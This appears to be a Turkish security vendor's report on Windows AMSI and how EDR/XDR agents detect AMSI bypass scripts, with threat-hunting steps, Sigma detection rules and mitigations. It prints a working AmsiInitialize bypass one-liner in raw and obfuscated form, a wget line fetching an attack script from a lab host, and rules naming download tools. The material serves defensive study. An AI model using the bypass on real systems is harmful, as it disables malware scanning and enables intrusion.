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AMSI, "Ant�-Malware Scan Interface" (Ant�-Malware Tarama Arayüzü) anlamına gel�r.
W�ndows 10 ve sonrak� sürümlerde bulunan b�r API'dır (Uygulama Programlama
Arayüzü). AMSI, ant�-malware yazılımlarının W�ndows �şlet�m s�stem�n�n güvenl�k
özell�kler�ne er�şmes�n� ve kötü amaçlı yazılımları daha etk�l� b�r şek�lde taramasını
sağlar.

Zararlı akt�v�teler aşağıdak� 3 şek�lde tesp�t ed�leb�l�r veya engelleneb�l�r:
1- İmza Tabanlı (S�gnature-based) Yaklaşım 
2- Davranışsal (Behav�oral) Yaklaşım 
3- Heur�st�k (Sezg�sel) Yaklaşım

B�r scr�pt veya yürütüleb�l�r dosya çalıştırılmadan önce AMSI bu dosyaları ant�malware
çözümler� �le tarar, potans�yel tehd�tler� bel�rler veya potans�yel tehd�t olab�lecekler�
bel�rler.
Bu, kötü amaçlı yazılımların yürütülmeden önce tesp�t ed�lmes�n� sağlar.

AMSI Tanıtım

Res�m 1.1

AMSI, geleneksel �mza tabanlı tarama yöntemler�ne ek olarak davranışsal ve heur�st�k
anal�z g�b� daha gel�şm�ş tehd�t algılama tekn�kler�n� desteklemekted�r. Bu sayede
yalnızca b�l�nen tehd�tler� değ�l, davranışsal olarak şüphel� veya şüphel� olab�lecek
akt�v�teler� de tesp�t edeb�l�r.
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Bu yaklaşımlarının her b�r�n�n kend� avantaj ve dezavantajları bulunmaktadır. 
Örnek olarak;
İmza tabanlı tarama, b�l�nen kötü amaçlı yazılımları algılamakta en etk�l�d�r ancak yen�
kötü amaçlı yazılımları algılamakta başarısız olab�l�r. Davranışsal anal�z, yen� kötü amaçlı
yazılımları algılamakta etk�l�d�r ancak yüksek sayıda false pos�t�ve üreteb�l�r. 
Heur�st�k anal�z, hem yen� kötü amaçlı yazılımları hem de köklü kötü amaçlı yazılımları
algılamakta etk�l�d�r, ancak false pos�t�ve üretme olasılığı daha yüksekt�r.

AMSI Tanıtım

En �y� yaklaşım, farklı yaklaşımların b�r komb�nasyonunu kullanmaktır (AMSI tarafından
kullanılan komb�nasyon).

Davranışsal yaklaşım ve heur�st�k yaklaşımının �şley�ş� benzer g�b� görüneb�l�r, örnekler
üzer�nden netl�k kazandıralım.

Davranışsal Yaklaşım: B�r ant�v�rüs programı, b�r programın s�stem dosyalarını
değ�şt�rmeye çalıştığını tesp�t ederse, bu kötü amaçlı yazılım olab�leceğ�n�n b�r �şaret�
olab�l�r. Bu, davranışsal anal�z�n b�r örneğ�d�r çünkü programın davranışına odaklanır.

Heur�st�k Yaklaşım: B�r ant�v�rüs programı, b�r programın çok fazla bellek veya �şlemc�
gücü kullandığını tesp�t ederse, bu kötü amaçlı yazılım olab�leceğ�n�n b�r �şaret� olab�l�r.
Bu, heur�st�k anal�z�n b�r örneğ�d�r çünkü programın potans�yel olarak zararlı olan
davranışlarına odaklanır.
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PowerShell üzer�nden yürütülen komutlar ve bet�kler�n ant�v�rüs ve ant�malware
yazılımları tarafından taranması ve anal�z ed�lmes� �sten�r. Bunu yapan mekan�zma �se
AMSI olarak adlandırılan b�r API'dır.

AMSI'n�n temel görev�, PowerShell ortamında çalıştırılan kodları tarayarak kötü amaçlı
�çer�ğ� tesp�t etmeye çalışmaktır. Bu, AMSI'n�n W�ndows Defender veya başka b�r
ant�v�rüs programı g�b� güvenl�k yazılımları �le entegre çalışarak PowerShell komutlarını
değerlend�rmes�n� kapsar.

PowerShell ve AMSI arasındak� bağlantı, PowerShell'�n AMSI'y� kullanarak kötü amaçlı
yazılımları algılayab�lmes�d�r. PowerShell, AMSI'y� kullanarak aşağıdak�ler� yapab�l�r:

PowerShell komut dosyalarını ve bet�kler�n� taramak
PowerShell komut dosyalarında kullanılan komutları ve �şlevler� anal�z etmek
PowerShell komut dosyalarının s�stem dosyalarına ve ağ kaynaklarına er�ş�m�n�
denetlemek

PowerShell ve AMSI Bağlantısı

Res�m 1.2
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Bu, kötü amaçlı yazılımların yürütülmes�n� önlemek ve kötü amaçlı yazılımların tesp�t
ed�lmes�n� kolaylaştırmak �ç�n PowerShell'� güçlü b�r araç hal�ne get�r�r.

Örneğ�n, b�r ant�v�rüs programı, PowerShell'de yazılmış b�r kötü amaçlı yazılımı
algılamak �ç�n AMSI'y� kullanab�l�r. Ant�v�rüs programı, PowerShell komut dosyasını
AMSI'ye gönder�r ve AMSI, komut dosyasında kötü amaçlı yazılım bel�rt�ler� olup
olmadığını arar. Kötü amaçlı yazılım bel�rt�ler� bulursa, ant�v�rüs programı komut
dosyasını engelleyeb�l�r veya kaldırab�l�r.

PowerShell ve AMSI Bağlantısı

Res�m 1.3

Res�m 1.3 de anlaşılacağı üzere powershell.exe çağırıldığı, tet�klend�ğ� durumlarda
ams�.dll �le b�rl�kte gel�r. ams�.dll �çer�s�nde �se çeş�tl� modüller bulunmaktadır. Bu
çalışma özel�nde Ams�OpenSess�on - Ams�In�t�al�ze ve Ams�ScanBuffer modüller�ne
odaklanılacaktır.
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Res�m 2.1 de Attack_Ams�OpenSess�on.ps1 ve Attack_Ams�ScanBuffer.ps1 scr�ptler�n�n  
yakalandığını görüyoruz. Bu scr�ptler yukarıdak� res�m 1.3 de göster�len ams�.dll
�çer�s�ndek� modüller�n bypass ed�lmes� �le �lg�l�d�r.

EDR Tesp�t Senaryosu

Res�m 2.1

Res�m 2.2



6

Res�m 2.3 Attack_Ams�OpenSess�on.ps1 scr�pt�n�n “Wacatac“ zararlısı olarak önlend�ğ�n�
göster�r.

Wacatac: Wacatac truva atı v�rüsü, W�ndows c�hazlarını etk�leyen kötü amaçlı b�r
programdır. Wacatac truva atı, b�lg�sayarınıza d�ğer kötü amaçlı yazılımları �nd�r�p
yükleyeb�l�r veya oturum açma k�ml�k b�lg�ler� veya banka hesabı ayrıntıları g�b� k�ş�sel
b�lg�ler� çalmak �ç�n tuş vuruşlarınızı kaydedeb�l�r. Wacatac, d�ğer c�hazların c�hazınıza
er�şmes�ne ve uzaktan kontrol etmes�ne olanak tanıyan arka kapılar oluşturarak
c�hazınızı b�r botnet'e de ekleyeb�l�r. Daha sonra genell�kle DDoS saldırıları veya kr�pto
madenc�l�ğ� gerçekleşt�rmek �ç�n b�r botnet kullanılır.

Res�m 2.2 dek� ekran görüntüsü, Attack_Ams�OpenSess�on.ps1 scr�pt�n�n Malware
et�ket�ne sah�p olduğunu ve “Prevented“ ed�ld�ğ�n� göster�r. Ayrıca MITRE tekn�ğ� olarak
da “T1566.002: Spearph�sh�ng“ ver�lmekted�r.

EDR Tesp�t Senaryosu

Res�m 2.3

Res�m 2.4

Res�m 2.4 �çer�s�nde obfuscate Ams�In�t�al�ze payload bulunmaktadır. S�ngle-L�ne
payload çalıştırıldıktan sonra aşağıdak� res�mde görüntülenen alarm tet�klenmekted�r.

Ek olarak, d�ğer 2 metot �çer�s�nde (Ams�OpenSess�on - Attack_Ams�OpenSess�on.ps1 //
Ams�ScanBuffer - Attack_Ams�ScanBuffer) scr�pt dosyaları bulunmasına karşın bu metot
b�r scr�pt dosyası yer�ne s�ngle-l�ne payload �çermekted�r. (Bu tekn�k özel�nde
PowerShell bypass metotlarında str�ng evas�on, restr�cted kurallar, b�oc kurallarının
önem�n� anlıyoruz.)
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Res�m 2.6

Res�m 2.5 �çer�s�nde Ams�In�t�al�ze S�ngle-L�ne Obfuscate Payload’ı çalıştırıldığında
oluşturulan alarm görüntülenmekted�r.

EDR Tesp�t Senaryosu

Yukarıdak� res�mde powershell �çer�s�nde çalıştırılan S�ngle-L�ne Payload �ç�n oluşturulan
alarmın V�rTool:PowerShell/BypassAMSI.B olduğunu göreb�l�r�z.

Ayrıca bu akt�v�ten�n edr tarafından “Malware” olarak �şlend�ğ�n�, “Sever�ty” dereces�n�n
�se “Low” olduğunu göreb�l�r�z. 

Res�m 2.5
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EDR Tesp�t Senaryosu

Res�m 2.9

Res�m 2.9 �çer�s�nde �se scr�pt dosyasını powershell üzer�nden değ�l, manuel olarak
tet�kleyeb�l�r�z.  EDR Agent’ı Scr�pt dosyasını tet�kled�kten sonra akt�v�tey�
engellemekted�r.

Res�m 2.8

Res�m 2.7
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Res�m 3.0 �se Attack_Ams�ScanBuffer.ps1 scr�pt�n�n yakalandığını bel�rt�yor. Scr�pte EDR
tarafından  Malware et�ket� ver�lm�ş ve aynı zamanda Blocked olarak bel�rt�lm�ş. Bu
noktada eylem�n engellend�ğ�n� anlayab�l�r�z.

EDR Tesp�t Senaryosu

Res�m 3.1 �çer�s�nde �se Attack_Ams�ScanBuffer.ps1 scr�pt�n�n Posdyna zararlısı olarak
Prevent ed�ld�ğ� bel�rt�lmekted�r.

Posdyna: M�crosoft W�ndows �şlet�m s�stemler�nde çalışan b�r trojan’dır. Bu trojan
kullanıcıların b�lg�sayarlarına g�zl�ce g�rer ve çeş�tl� zararlar vereb�l�r.
Posdyna’nın vereb�leceğ� zararlar aşağıdak� g�b� çeş�tl�l�k göstereb�l�r:

B�lg�sayar s�stem�n� yavaşlatab�l�r
B�lg�sayar s�stem�n�n �şlevler�n� bozab�l�r
Kullanıcıların b�lg�sayarlarında g�zl�ce gez�neb�l�r
Kullanıcıların k�ş�sel b�lg�ler�n� çalab�l�r

Res�m 3.1

Res�m 3.0
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XDR Tesp�t Senaryosu

Res�m 3.4

Res�m 3.5

Res�m 3.4 ve 3.5'te Attack_Ams�OpenSess�on.ps1 scr�pt�n�n XDR Agent’ı tarafından H�gh
Sever�ty ve Prevented(Blocked) olarak değerlend�r�ld�ğ�n� görüyoruz.

Res�m 3.2

NOT: Res�m 3.2'de ver�len scr�pt dosyasının adı Attack_Ams�OpenSess�on.ps1 değ�l
w11poc.ps1‘d�r. Bu, powershell modüller� �le �nd�r�rken -outf�le parametres�n� kullanarak
da yapılab�l�r, scr�pt dosyası test mak�nes�ne �nd�r�ld�kten sonra manuel olarak da
değ�şt�r�leb�l�r.

Scr�pt dosyası çalıştırılmak �stend�ğ�nde s�stem, d�sabled olarak geld�ğ�n�,
yüklenmed�ğ�n� bel�rt�yor. Execut�on Pol�cy değ�ş�kl�ğ� yaparak tekrar çalıştıralım.

Execut�on Pol�cy’y� değ�şt�rd�kten sonra w11poc.ps1 (Attack_Ams�OpenSess�on.ps1)
scr�pt dosyasını çalıştırdığımızda True olarak çıktı alıyoruz. XDR Agent’ı çıktı sonrasında
term�nal� kapatıyor ve alarm üret�yor.

Res�m 3.3
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XDR Tesp�t Senaryosu

Res�m 3.8

Res�m 3.9

Res�m 3.8 ve 3.9 �se XDR BIOC (Behav�oral Ind�cator of Comprom�se - Davranışsal IOC)
kuralına takılan Black Basta Ransomware Group Devanse Evas�on adında Alert Name
görüntülüyoruz. Burada ayrıca Act�on olarak Prevent veya Block değ�l, Detected
verd�ld�ğ�n� görüyoruz. Bunun anlamı BIOC kuralı vasıtasıyla Tesp�t ed�lm�ş olmasıdır.

Kullanılan tekn�kler�n MITRE karşılıklarını da res�m 3.7'de detaylı olarak göreb�l�r�z.

Res�m 3.6'da �se Attack_Ams�OpenSess�on.ps1 scr�pt� �le �lg�l� MITRE ATTACK takt�kler�
ver�lm�şt�r. TA0002 - Execut�on / TA0005 Defense Evas�on 

Res�m 3.7

Res�m 3.6
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XDR Tesp�t Senaryosu

Obfuscate ed�len payload herhang� b�r process tet�klemed�ğ� �ç�n XDR tarafından b�r
alarm (komuta özel olarak yazılan BIOC bulunmuyorsa) oluşturmuyor. Bu yüzden bu
aşamada  obfuscate ed�len payload �ç�n Threat Hunt�ng çalışması yapacağız. 

Raw ve obfuscate payload’ların ne �şe yaradığını ve obfuscate payload �çer�s�nde
karmaşıklaştırma yapılan yer�n neres� olduğunu, hang� amaçla yapıldığını �nceleyel�m.

Ams�In�t�al�ze �ç�n �se raw ve obfuscate ed�len payload aşağıdak� g�b�d�r:
[Ref].Assembly.GetType(‘System.Management.Automat�on.Ams�Ut�ls’).GetF�eld(‘am
s�In�tFa�led’,’NonPubl�c,Stat�c’).SetValue($null,$true)

$a=[Ref].Assembly.GetTypes();Foreach($b �n $a) {�f ($b.Name -l�ke “*�Ut�ls”)
{$c=$b}};$d=$c.GetF�elds(‘NonPubl�c,Stat�c’);Foreach($e �n $d) {�f ($e.Name -l�ke
“*Fa�led”) {$f=$e}};$f.SetValue($null,$true)

Raw/Ham Payload:
1- [Ref].Assembly.GetType('System.Management.Automat�on.Ams�Ut�ls'):
System.Management.Automat�on.Ams�Ut�ls sınıfını yükler. Bu sınıf, AMSI �le �lg�l�
yardımcı fonks�yonlar �çer�r.
2- .GetF�eld('ams�In�tFa�led', 'NonPubl�c,Stat�c'):
Ams�Ut�ls sınıfından ams�In�tFa�led adlı özel (non-publ�c) ve stat�k b�r alan (f�eld) alır. Bu
alan, AMSI'n�n başlatılma durumunu tutar.
3- .SetValue($null, $true):
ams�In�tFa�led alanının değer�n� true olarak ayarlar. Bu, AMSI'n�n başlatılmasının
başarısız olduğunu göster�r ve AMSI'n�n çalışmasını durdurur.

Obfuscate Payload:
$a=[Ref].Assembly.GetTypes();: Bu satırda, PowerShell çalışma zamanındak�
(runt�me) Assembly nesnes�ne referans alır ve �ç�ndek� tüm t�pler� (types) alır. Bu,
PowerShell ortamındak� tüm türler� �çeren b�r d�z� oluşturur.
Foreach($b �n $a) {�f ($b.Name -l�ke “*�Ut�ls”) {$c=$b}};: Bu döngü, öncek� adımda
alınan türler�n (types) l�stes�nde dolaşır. Eğer b�r türün adı �Ut�ls �le b�t�yorsa
(Ams�Ut�ls g�b�), o türü $c değ�şken�ne atar. Bu, AMSI �le �lg�l� türü bulmayı amaçlar.
$d=$c.GetF�elds(‘NonPubl�c,Stat�c’);: Bu adımda, öncek� adımda bulunan tür
üzer�nde NonPubl�c, Stat�c özell�kler�ne sah�p olan tüm alanları (f�elds) alır. Bu,
AMSI'n�n kontrol ed�ld�ğ� alanları �çeren b�r d�z� oluşturur.
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XDR Tesp�t Senaryosu

Foreach($e �n $d) {�f ($e.Name -l�ke “*Fa�led”) {$f=$e}};: Bu döngü, öncek� adımda
alınan alanlar �ç�nde dolaşır. Eğer b�r alanın adı Fa�led �le b�t�yorsa (ams�In�tFa�led), o
alanı $f değ�şken�ne atar. Bu, AMSI'n�n başlatılmasını kontrol eden �lg�l� alanı
bulmayı amaçlar.
$f.SetValue($null,$true): Son olarak, $f değ�şken�ndek� alana (yan� AMSI kontrol
alanına) $true değer�n� atar. Bu, AMSI'n�n devre dışı bırakılmasını sağlar.

Res�m 4.1
Res�m 4.1 �çer�s�nde oluşturulan KQL sorgusunda bulunan [Ref].Assembly.GetTypes()
�fades� obfuscate payloadı �çer�s�nde bulunduğu �ç�n b�z de Threat Hunt�ng çalışmamızı -
burada payload �çer�s�ndek� herhang� başka b�r �fade de kullanılab�l�rd�, yalnızca seçt�ğ�m�z
[Ref].Assembly.GetTypes() kullanılmak zorunda değ�l- bu �fade üzer�nden gerçekleşt�rd�k.
ACTION_EVTLOG_DATA_FIELDS sütunu altında ok �le göster�len alan �çer�s�nde tam
olarak obfuscate payload görüntülenememekted�r, bu yüzden b�raz daha der�ne �neceğ�z.

Res�m 4.2

Res�m 4.0

Raw ve Obfuscate payload’larını ele aldığımızda AMSI'n�n başlatılmasının başarısız
olarak ayarlanmaya çalışıldığını anlayab�l�r�z. Ayrıca  obfuscate �şlem� �çer�s�nde str�ng
evas�on ve kod karmaşıklaştırma (obfuscat�on) �şlem� yapıldığını bel�rteb�l�r�z.
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XDR Tesp�t Senaryosu

Res�m 4.3

Res�m 4.2 �çer�s�nde (Open Card �n new tab) obfuscate ed�len payload tam olarak
görüntülenmekted�r. Bu şek�lde b�r Threat Hunt�ng çalışması yapmış oluyoruz.

powershell wget 'http://10.10.122.102/w11poc/Ams�_Bypass_In_2023-
ma�n/Attack_Ams�ScanBuffer.ps1' -outf�le C:\W�ndows\Temp\w11pocbuffer.ps1

Res�m 4.4

Res�m 4.5

Gerekl� powershell scr�pt�n� mak�neye �nd�rd�kten sonra -outf�le parametres� �le
w11pocbuffer.ps1 olarak Temp d�z�n�ne kaydett�k ve scr�pt� çalıştırdığımızda True olarak
çıktıyı alab�l�yoruz. Bu b�ze scr�pt�n başarıyla çalıştırıldığını bel�rt�yor fakat sonrasında
mak�nedek� XDR agent� term�nal� kapatıyor ve akt�v�tey� engell�yor.
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XDR Tesp�t Senaryosu

Res�m 4.6

Res�m 4.6 �çer�s�nde Attack_Ams�ScanBuffer.ps1 scr�pt�n�n bulunduğu d�z�n� ve Info
Message �çer�s�nde Powershell_ISE (burada powershell �le değ�l powershell-�se
�çer�s�nde çalıştırıldığını anlıyoruz) �çer�s�nde çalıştırıldığı kod bloğunu (yeş�l �le seç�l�
alan �çer�s�nde bel�rl� b�r kısmı görünmekted�r) görüntüleyeb�l�yoruz.

Res�m 4.7
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XDR Tesp�t Senaryosu

Res�m 4.8 de görüldüğü g�b� Copy text to cl�pboard �le zararlı akt�v�ten�n kod bloğunu
tamamen kopyalayıp scr�pt dosyası �le karşılaştırab�l�r�z.

Res�m 4.7 �çer�s�nde Log Level: Info Message üzer�nde fare �le geld�ğ�m�zde b�ze
çalıştırılan zararlı akt�v�ten�n kod bloğu daha detaylı olarak b�lg� ver�yor fakat kod
bloğunu tamamen görüntüleyeb�lmek �ç�n aşağıdak� şek�lde �lerleyeceğ�z:

Res�m 4.8

Res�m 4.9

Res�m 5.0

Res�m 4.9, XDR �çer�s�ndek� panoya kopyaladığımız kod bloğu; Res�m 5.0 �se scr�pt
dosyasının kod bloğu. İk� res�mdek� kırmızı alan �se daha net b�r bel�rteçt�r.
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Tesp�t Kuralları

S�gma Kuralı - 1

t�tle: Susp�c�ous Download from Off�ce Doma�n
�d: 00d49ed5-4491-4271-a8db-650a4ef6f8c1
status: test
descr�pt�on: Detects susp�c�ous ways to download f�les from M�crosoft doma�ns that are used to store
attachments �n Ema�ls or OneNote documents
references:
    - https://tw�tter.com/an0n_r0/status/1474698356635193346?s=12
    - https://tw�tter.com/mrd0x/status/1475085452784844803?s=12
author: Flor�an Roth (Nextron Systems), Nasredd�ne Bencherchal� (Nextron Systems)
date: 2021/12/27
mod�f�ed: 2022/08/02
tags:
    - attack.command_and_control
    - attack.t1105
    - attack.t1608
logsource:
    product: w�ndows
    category: process_creat�on
detect�on:
    select�on_download:
        - Image|endsw�th:
              - '\curl.exe'
              - '\wget.exe'
        - CommandL�ne|conta�ns:
              - 'Invoke-WebRequest'
              - '�wr '
              - 'curl '
              - 'wget '
              - 'Start-B�tsTransfer'
              - '.DownloadF�le('
              - '.DownloadStr�ng('
    select�on_doma�ns:
        CommandL�ne|conta�ns:
            - 'https://attachment.outlook.l�ve.net/owa/'
            - 'https://onenoteonl�nesync.onenote.com/onenoteonl�nesync/'
    cond�t�on: all of select�on_*
falsepos�t�ves:
    - Scr�pts or tools that download attachments from these doma�ns (OneNote, Outlook 365)
level: h�gh
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Tesp�t Kuralları

S�gma Kuralı - 2

t�tle: Usage Of Web Request Commands And Cmdlets
�d: 9fc51a3c-81b3-4fa7-b35f-7c02cf10fd2d
related:
    - �d: 1139d2e2-84b1-4226-b445-354492eba8ba
      type: s�m�lar
    - �d: f67dbfce-93bc-440d-86ad-a95ae8858c90
      type: obsoletes
    - �d: cd5c8085-4070-4e22-908d-a5b3342deb74
      type: obsoletes
status: test
descr�pt�on: Detects the use of var�ous web request commands w�th commandl�ne tools and W�ndows
PowerShell cmdlets (�nclud�ng al�ases) v�a CommandL�ne
references:
    - https://4sysops.com/arch�ves/use-powershell-to-download-a-f�le-w�th-http-https-and-ftp/
    - https://blog.jourdant.me/post/3-ways-to-download-f�les-w�th-powershell
    - https://learn.m�crosoft.com/en-us/powershell/module/b�tstransfer/add-b�tsf�le?
v�ew=w�ndowsserver2019-ps
author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.commun�ty, Aust�n Songer
@aust�nsonger
date: 2019/10/24
mod�f�ed: 2023/01/10
tags:
    - attack.execut�on
    - attack.t1059.001
logsource:
    category: process_creat�on
    product: w�ndows
detect�on:
    select�on:
        CommandL�ne|conta�ns:
            - '[System.Net.WebRequest]::create'
            - 'curl '
            - 'Invoke-RestMethod'
            - 'Invoke-WebRequest'
            - '�wr '
            - 'Net.WebCl�ent'
            - 'Resume-B�tsTransfer'
            - 'Start-B�tsTransfer'
            - 'wget '
            - 'W�nHttp.W�nHttpRequest'
    cond�t�on: select�on
falsepos�t�ves:
    - Use of Get-Command and Get-Help modules to reference Invoke-WebRequest and Start-B�tsTransfer.
level: med�um
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MITIGATION

1. Managed Secur�ty Serv�ce Prov�der (MSSP) H�zmetler�
Güvenl�k operasyonlarınızı yönetmek ve tehd�tlere karşı proakt�f önlemler almak �ç�n
güven�l�r b�r MSSP h�zmet� terc�h edeb�l�rs�n�z.

2. S�ber Tehd�t İst�hbaratı H�zmet�
Tehd�t aktörler� ve akt�v�teler�ne karşı proakt�f b�r önlem olarak S�ber Tehd�t
İst�hbaratından yararlanab�l�rs�n�z. Potans�yel tehd�tler� önlemek �ç�n öneml� b�r
çözümdür. Kurumunuz veya korumaya çalıştığınız s�stemlerde bulunan ürünler�n,
araçların ve yazılımların sürümler� hakkında bunları hang� tehd�t aktörler�n�n kullandığı
ve nasıl  kullandığı konusunda �nternet ve deep/darkweb üzer�nde araştırma yapılab�l�r.
Sonrasında �se Tehd�t Aktörler�ne yönel�k TTP bazlı ve geçm�ş saldırı bazlı kural
gel�şt�r�leb�l�r, önlem alınab�l�r.

3. Zero-Trust ve Least Pr�v�lege Yaklaşımı
Olası güvenl�k �hlaller�ne karşı Zero-Trust ve Least Pr�v�lege (En Az Ayrıcalık İlkes�)
yaklaşımını ben�msey�n. Zero-Trust, h�çb�r zaman güvenme, da�ma doğrula yaklaşımıdır.
Least Pr�v�lege �se kullanıcılara �şler�n� tamamlamak �ç�n gereken m�n�mum er�ş�m
haklarını ve �z�nler�n� ver�r. Bu prens�pler ben�msenerek saldırıların etk�s� �nd�rgeneb�l�r.

4. Güncelleme ve Yama Yönet�m�
Tüm s�stemler�n ve güvenl�k yazılımlarının en son yamalarla güncel olduğundan em�n
olun ve düzenl� per�yotlarda kontrol sağlayın. Güncellemeler, b�l�nen güvenl�k açıklarını
kapatmak ve s�stemler� korumak �ç�n etk�l� b�r çözümdür. Ayrıca zaf�yet yönet�m
pol�t�kalarınıza bağlı olarak GRC ek�pler�n�zle r�sk konusunda anlaşab�l�rs�n�z.

5. Kullanıcı Eğ�t�m� ve Farkındalığı
Kullanıcıları, şüphel�, �mzalı olmayan veya güven�l�r olmayan kaynaklardan gelen
dosyaları çalıştırmamaları konusunda b�lg�lend�r�n.

6. Wget ve Curl Sıkılaştırma
Wget ve Curl komutlarıyla dış IP traf�ğ� oluştuğunda alarm oluşturacak kurallar
yazab�l�rs�n�z. Bu, tehd�t aktörler�n�n ver� sızdırma g�r�ş�mler�n� veya saldırının boyutunu
büyütecek araçların �nd�r�lmes�n� tesp�t etmek �ç�n öneml�d�r.

7. C2 Sunucuları ve Toollar
Command and Control (C2) sunucuları ve Tehd�t Aktörler�n�n toollarına karşı Invoke-
WebRequest, New-Object System.Net.WebCl�ent ve Start-B�tsTransfer g�b� cmdlet’ler�n
dış kaynaklara yaptığı traf�klere alarm oluşturacak kurallar yazab�l�rs�n�z.
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MITIGATION

8. Turn on Module Logg�ng Pol�cy
(Computer Conf�gurat�on/User Conf�gurat�on > Pol�c�es > Adm�n�strat�ve Templates >
W�ndows Components > W�ndows Powershell)
Bu pol�cy, bel�rl� PowerShell modüller� �ç�n komutların ve etk�nl�kler�n loglanmasını
sağlar. Güvenl�k ve denet�m amacıyla komut geçm�ş�n� �zlemek �ç�n kullanılab�l�r. B�r
modül �ç�n bu pol�cy ayarını etk�nleşt�rmek, modülün LogP�pel�neExecut�onDeta�ls
özell�ğ�n� True olarak ayarlamaya eşdeğerd�r. Etk�nleşt�r�ld�ğ�nde, bel�rl� modüller �ç�n
yürütülen tüm komutlar ve sonuçlar W�ndows olay günlükler�nde depolanır. 
(LogP�pel�neExecut�onDeta�ls özell�ğ�, PowerShell modülünün yürütme olaylarını
W�ndows olay günlükler�ne yazdırıp yazdırmayacağını bel�rler. Bu olaylar, modülün
yüklemes�, komutların çalıştırılması ve modülün kaldırılması g�b� �şlemler� �çer�r.)
Bu pol�cy ayarını devre dışı bırakırsanız, yürütme olaylarının günlüğe kayded�lmes� tüm
W�ndows PowerShell modüller� �ç�n devre dışı bırakılır.
Pol�cy l�stes�ne modüller ve ek b�leşenler eklemek �ç�n Show’a tıklayın ve ardından
l�steye modül adlarını yazın. L�stedek� (loglanması �stenen) modüller ve ek b�leşenler
b�lg�sayarda yüklü olmalıdır.
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MITIGATION

9. Turn on Powershell Scr�pt Block Logg�ng Pol�cy
(Computer Conf�gurat�on/User Conf�gurat�on > Pol�c�es > Adm�n�strat�ve Templates >
W�ndows Components > W�ndows Powershell)
Komut Dosyası Bloğu  Günlüğünü (Scr�pt Block Logg�n) etk�nleşt�r�rsen�z, PowerShell
ayrıca b�r komutun, komut dosyası bloğunun (scr�pt block), �şlev�n veya komut
dosyasının çağrılması (�nvoce) başladığında veya durduğunda olayları günlüğe kaydeder.
Çağırma Günlüğünü Etk�nleşt�rmek, yüksek m�ktarda olay günlüğü oluşturur.
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“Savunmanıza b�r
müttef�k ekley�n.”


